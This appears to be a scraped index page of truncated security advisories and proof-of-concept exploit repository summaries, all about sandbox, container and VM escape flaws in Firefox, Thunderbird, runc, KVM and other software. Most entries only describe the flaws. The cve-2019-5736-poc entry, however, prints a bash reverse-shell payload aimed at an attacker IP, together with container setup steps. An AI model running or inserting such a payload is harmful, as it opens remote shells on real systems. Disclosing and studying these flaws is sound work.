firefox: thunderbird: Sandbox escape due to invalid pointer in the Graphics component

A flaw was found in Firefox and Thunderbird. The Mozilla Foundation's Security Advisory describes the following issue: Sandbox escape due to invalid pointer in the Graphics component...

firefox: thunderbird: Sandbox escape due to invalid pointer in the Graphics component

A flaw was found in Firefox and Thunderbird. The Mozilla Foundation's Security Advisory describes the following issue: Sandbox escape due to invalid pointer in the Graphics component...

Important: Red Hat Security Advisory: thunderbird security update

An update for thunderbird is now available for Red Hat Enterprise Linux 9.2 Update Services for SAP Solutions. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is...

firefox: thunderbird: Sandbox escape in the DOM: Core & HTML component

A flaw was found in Firefox and Thunderbird. The Mozilla Foundation's Security Advisory describes the following issue: Sandbox escape in the DOM: Core & HTML component...

Updated nss & firefox packages fix security vulnerabilities

Incorrect boundary conditions in the Audio/Video: Playback component. CVE-2026-100756 Use-after-free in the Widget component. CVE-2026-100757 Sandbox escape in the DOM: Navigation component. CVE-2026-100758 Uninitialized memory in the Storage: Quota Manager component. CVE-2026-100759 Sandbox esca...

Updated thunderbird packages fix security vulnerabilities

Heap buffer overflow opening large email. CVE-2026-103500 Incorrect boundary conditions in the Audio/Video: Playback component. CVE-2026-100756 Use-after-free in the Widget component. CVE-2026-100757 Sandbox escape in the DOM: Navigation component. CVE-2026-100758 Uninitialized memory in the...

MGASA-2026-0491 Updated nss & firefox packages fix security vulnerabilities

Incorrect boundary conditions in the Audio/Video: Playback component. CVE-2026-100756 Use-after-free in the Widget component. CVE-2026-100757 Sandbox escape in the DOM: Navigation component. CVE-2026-100758 Uninitialized memory in the Storage: Quota Manager component. CVE-2026-100759 Sandbox esca...

MGASA-2026-0492 Updated thunderbird packages fix security vulnerabilities

Heap buffer overflow opening large email. CVE-2026-103500 Incorrect boundary conditions in the Audio/Video: Playback component. CVE-2026-100756 Use-after-free in the Widget component. CVE-2026-100757 Sandbox escape in the DOM: Navigation component. CVE-2026-100758 Uninitialized memory in the...

CVE-2022-0492-Container-Escape

CVE-2022-0492-Container-Escape CVE-2022-0492-Container-Escape Implemented in Go Reference links: https://github.com/chenaotian/CVE-2022-0492 https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/...

CVE-2023-27326

Parallels Desktop VM Escape This repository contains an exploit for a Parallels Desktop vulnerability which has been assigned CVE-2023-27326. This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop. The exploit was tested on Parallels Deskto...

dirtypipe-container-breakout-poc

Dirty Pipe Container Escape Moved to https://github.com/DataDog/security-labs-pocs/tree/main/proof-of-concept-exploits/dirtypipe-container-breakout...

CVE-2023-27326

Parallels Desktop VM Escape This repository contains an exploit for a Parallels Desktop vulnerability which has been assigned CVE-2023-27326. This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop. The exploit was tested on Parallels Deskto...

CVE-2026-2796-escape-wasm-by-using-wasm

CVE-2026-2796 — SpiderMonkey WebAssembly Sandbox Escape Proof-of-concept exploit chain for CVE-2026-2796 , a JIT miscompilation / type-confusion in Mozilla SpiderMonkey's WebAssembly import optimization "JavaScript: WebAssembly" component. A crafted wasm module obtains arbitrary read/write of the...

CVE-2026-27495

CVE-2026-27495 — n8n JS Task Runner Sandbox Escape Sandbox escape on n8n JavaScript Task Runner via host-realm object leak. | ---|--- CVE| CVE-2026-27495 CVSS| 9.4 Critical CWE| CWE-94 — Code Injection Affected| n8n 1.123.22 / 2.0.0–2.9.2 / 2.10.0 Fixed| 1.123.22 / 2.9.3 / 2.10.1 Attack Surface|...

Remote-Code-Execution-CVE-2024-28397-pyload-ng-js2py-

Remote Code Execution – CVE-2024-28397 pyload-ng / js2py This repository contains a Proof-of-Concept PoC exploit for CVE-2024-28397 , a Remote Code Execution vulnerability affecting pyload-ng due to insecure usage of js2py. Disclaimer: This PoC is for educational and research purposes only. Do no...

cve-2019-5736-poc

Headers to Add stage2.c bash include bash include Modify to Attacker PC IP stage2.c bash const char poc = "!/bin/bash\n/bin/bash -i & /dev/tcp//4455 0&1 &\n"; Create Docker Image and Container $ docker build -t cve . $ docker run -t -d --name cvetest cve $ sudo cp /usr/bin/docker-runc...

CVE-2026-6875-PoC-Exploit

CVE-2026-6875 - ServiceNow Pre‑Auth RCE Exploit Framework & PoC Verifier ServiceNow AI Platform — JavaScript Injection → Sandbox Escape → RCE → Root Privesc Exploit Framework & Safe Verifier For authorized security testing only. Legal Disclaimer & Responsible Use This tool is provided for...

DEBIAN-CVE-2026-81856

Improper Neutralization of Escape, Meta, or Control Sequences vulnerability in hexpm hex allows a malicious package publisher or a hostile repository server to inject terminal control sequences into the output of Mix tasks. Hex prints strings supplied by the package repository and the documentati...

CVE-2026-53359

🚨 CVE-2026-53359 — Januscape Linux KVM Shadow Paging Use-After-Free Guest-to-Host Escape Januscape is a Linux Kernel KVM vulnerability caused by a Use-After-Free UAF condition in the x86 Shadow MMU. Under vulnerable configurations, a malicious guest can corrupt host memory, leading to host crashe...

CVE-2026-81856

The hexpm hex package (versions 0.0.1 before 2.5.2 ) is vulnerable to Improper Neutralization of Escape, Meta, or Control Sequences (CWE-150). The root cause is that the software prints server-supplied strings directly to the terminal via Hex.Shell.info/1 and Hex.Shell.error/1 without neutralizin...